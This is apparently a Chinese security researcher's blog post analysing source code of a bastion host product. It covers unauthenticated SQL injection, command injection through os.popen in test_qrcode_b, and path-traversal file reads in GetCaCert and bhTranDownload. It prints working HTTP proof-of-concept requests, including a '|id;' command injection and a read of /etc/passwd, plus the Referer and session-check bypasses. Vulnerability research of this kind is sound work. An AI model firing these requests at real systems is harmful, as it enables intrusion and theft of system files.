去年12月中旬爆出来了 RCE 的漏洞,当时简单看了下,交了几个 edusrc 就过去了,公网上现在应该都修复完了,现在有时间了看看代码
1.user_add.py 中的 repeat_get_usb_status 未授权 SQL 注入漏洞
@user_add.route('/repeat_get_usb_status',methods=['GET','POST'])
def repeat_get_usb_status():
session = request.form.get('a0')
sesstime = request.form.get('z1')
...
try:
sql = "select \"Status\" from private.\"USBKeyResult\" where \"SessTime\" = '%s';" %(MySQLdb.escape_string(sesstime));
curs.execute(sql)
...
这个漏洞很早了,两三年前的吧,上面的是修复过的代码,可以看到 sql 在拼接的时候用 MySQLdb.escape_string()
处理了,之前是直接拼接的
大致扫了下,其他地方的 sql 语句拼接前基本上都有强制类型转换和 MySQLdb.escape_string()
处理,应该是没有 SQL 注入了?
2.get_qrcode.py 中的 test_qrcode_b 未授权 RCE 漏洞
@get_qrcode.route('/test_qrcode_b',methods=['GET', 'POST'])
def test_qrcode_b():
totp_v = request.form.get('z1')
secret = request.form.get('z2')
user_account = request.form.get('z3')
if checkaccountForLogin(user_account) == False:
return '{\"Result\":false,\"secret\":\"\","img":""}'
user_account = GetuCode(user_account).lower();
cmd = 'java -jar -Djava.awt.headless=true /flash/system/appr/botp_auth.jar 1 "' +secret+ '" "' +totp_v+ '"'
r = os.popen(cmd)
text = r.read()
r.close()
if text == "true":
try:
with pyodbc.connect(StrSqlConn('BH_CONFIG')) as conn,conn.cursor() as curs:
sql = "UPDATE public.\"User\" SET \"SecretKey1\"=\'%s\' WHERE \"UserCode\"='%s'" % (MySQLdb.escape_string(str(secret)),MySQLdb.escape_string(user_account))
curs.execute(sql)
except pyodbc.Error,e:
return "{\"Result\":false,\"ErrMsg\":\"系统异常: %s(%d)\"}" % (ErrorEncode(e.args[1]),sys._getframe().f_lineno)
return text
totp_v
和 secret
接收用户输入的参数并直接拼接到 cmd
中,然后 os.popen()
执行
所以网上流传的 POC 是在 z2
上实现命令注入
POST /bhost/test_qrcode_b HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip, deflate, br
Accept: gzip
Connection: close
Referer:
Content-Type: application/x-www-form-urlencoded
z1=1&z2="|id;"&z3=bhost
但其实 z1
和 z2
都是一样的
至于 z3
,符合 checkaccountForLogin
即可
#账号 邮箱 手机
def checkaccountForLogin(account):
p = re.compile(u'^[\w#\.\-\u4E00-\u9FA5@_]+$')
if p.match(account):
return True
else:
return False
同时注意 Referer 头,如果不加,就会返回 403 FORBIDDEN,找了下应该是在 login.py 的 request_check()
@app.before_request
def request_check():
...
###获取 HTTP_REFERER
refer_url_tmp = request.referrer;
if refer_url_tmp == None:
if path_url == '/index':
return render_template('err404.html',jump='/'),403
else:
return render_template('err403.html'),403
sys.exit();
else:
refer_url = refer_url_tmp.split("/")[2].split(':')[0];
...
往上翻了翻,发现除了 test_qrcode_b
外,还有一个地方也调了 os.popen()
,但是被 checkaccountForLogin
限制死了,没办法利用
def create_qrcode1(username):
cmd = 'java -jar -Djava.awt.headless=true /flash/system/appr/botp_auth.jar 0 "' +username+ '"'
r = os.popen(cmd)
text = r.read()
r.close()
return text
@get_qrcode.route('/get_qrcode_img_b',methods=['GET', 'POST'])
def get_qrcode_img_b():
user_account = request.form.get('z1')
if checkaccountForLogin(user_account) == False:
return '{\"Result\":false,\"secret\":\"\","img":""}'
user_account = GetuCode(user_account).lower();
#valid_codes =get_totp_token(secret)
secret = create_qrcode1(user_account)
return '{\"Result\":true, "secret":"' +secret.split('\n')[0]+ '", "img":"/manage/images/botp_code.jpg"}'
3.login.py 中的 GetCaCert 未授权任意文件读取漏洞
@app.route("/GetCaCert", methods=['GET', 'POST'])
def GetCaCert():
headers = str(request.headers) ;
debug(headers)
'''
if str(headers).find('Name')< 0:
return '',400;
Name = headers.split('Name')[1].split()[1];
'''
if headers.find("a1") < 0:
Name = request.args.get('a1')
else:
Name = headers.split('a1',0)[1].split()[1];
try:
if os.path.exists('/usr/etc/'+Name):
fp = open('/usr/etc/'+Name,'r');
a = base64.b64encode(fp.read());
return a,200
else:
return '',400
except pyodbc.Error,e:
return '',400
这个也很容易发现,Name
接收了传递进来的 a1
,然后直接拼接进 open()
,再以 base64 编码的形式返回
GET /bhost/GetCaCert?a1=../../../../../etc/passwd HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip, deflate, br
Accept: gzip
Connection: close
Referer:
4.tran.py 中的 bhTranDownload 未授权任意文件读取
这个应该也是老的,参考了《Logbase思迪福堡垒机漏洞分析》,因为我手上的源码已经修复这个地方了
@tran.route("/bhTranDownload", methods=['GET', 'POST'])
def bhTranDownload():
headers = str(request.headers) ;
##解析头文件
try:
ret,Filename,Session,Path,Method,Offset,Content_Length,sesstimet = parseHeader(headers);
if ret < 0:
return' -1';
except Exception,e:
return '-1';
Path = base64.b64decode(Path);
try:
Filename_tmp = base64.b64decode(base64.b64decode(Filename));
FilePath = Path + '/' + Filename_tmp;
if os.path.exists(FilePath) == False:
Filename = base64.b64decode(Filename)
else:
Filename = Filename_tmp
except:
Filename = base64.b64decode(Filename)
if check_path(Path) == False and Filename !='cf_tnsora':
return '-1',403;
if Path.find("/software") >=0 or Method =='GetSize' or Filename =='cf_tnsora': ###系统自动升级 没有session
pass
else:
client_ip = GetClientIp(request);
(error,userCode,mac,lock) = SessionCheck(Session,client_ip);
请求头里需要包含 Filename,Session,Path,Offset,Content_Length,sesstimet
这些字段,同时只要注意满足 if 的第一个条件,不进入 else 的验证就可以未授权读了
def check_path(path):
for one in list_path:
if path.find(one) >=0:
return True
return False
list_path = ['/usr/storage/.system/upload','/usr/storage/.system/replay','/usr/storage/.system/software','/usr/storage/.system/update','/usr/storage/.system/config/backup','/usr/storage/.system/dwload','/usr/storage/.system/passwd','/usr/storage/.system/backup','/usr/storage/.system/transf','/usr/ssl/certs','/usr/storage/.system/archive']
根据代码,将 Path
的值固定为 base64.b64encode(''/usr/storage/.system/software')
就可以
最后的文件读取依靠 Path
和 Filename
完成,Filename
目录回溯一下,同理经过 base64 编码就可以
if Filename.find('./') >=0 or Filename.find('../') >=0 :
return '-1',403;
FilePath = Path + '/' + Filename;
##判断文件是否存在
if os.path.exists(FilePath) == False:
return '-1';
if Method == "": ## 下载
##每次读取文件的 8k 8 * 1024
try:
with open(FilePath, 'rb') as fp:
fp.seek(int(Offset));
data = fp.read(MAX_SIZE);
return data;
except Exception,e:
return '-1';
修复后的代码里,在 FilePath
拼接赋值前多了个过滤检查代码,寄了
上面的洞都是未授权的,也就是代码中不包含(执行) SessionCheck()
,但是这个函数全局搜索也没找到在哪😓 (°ー°〃)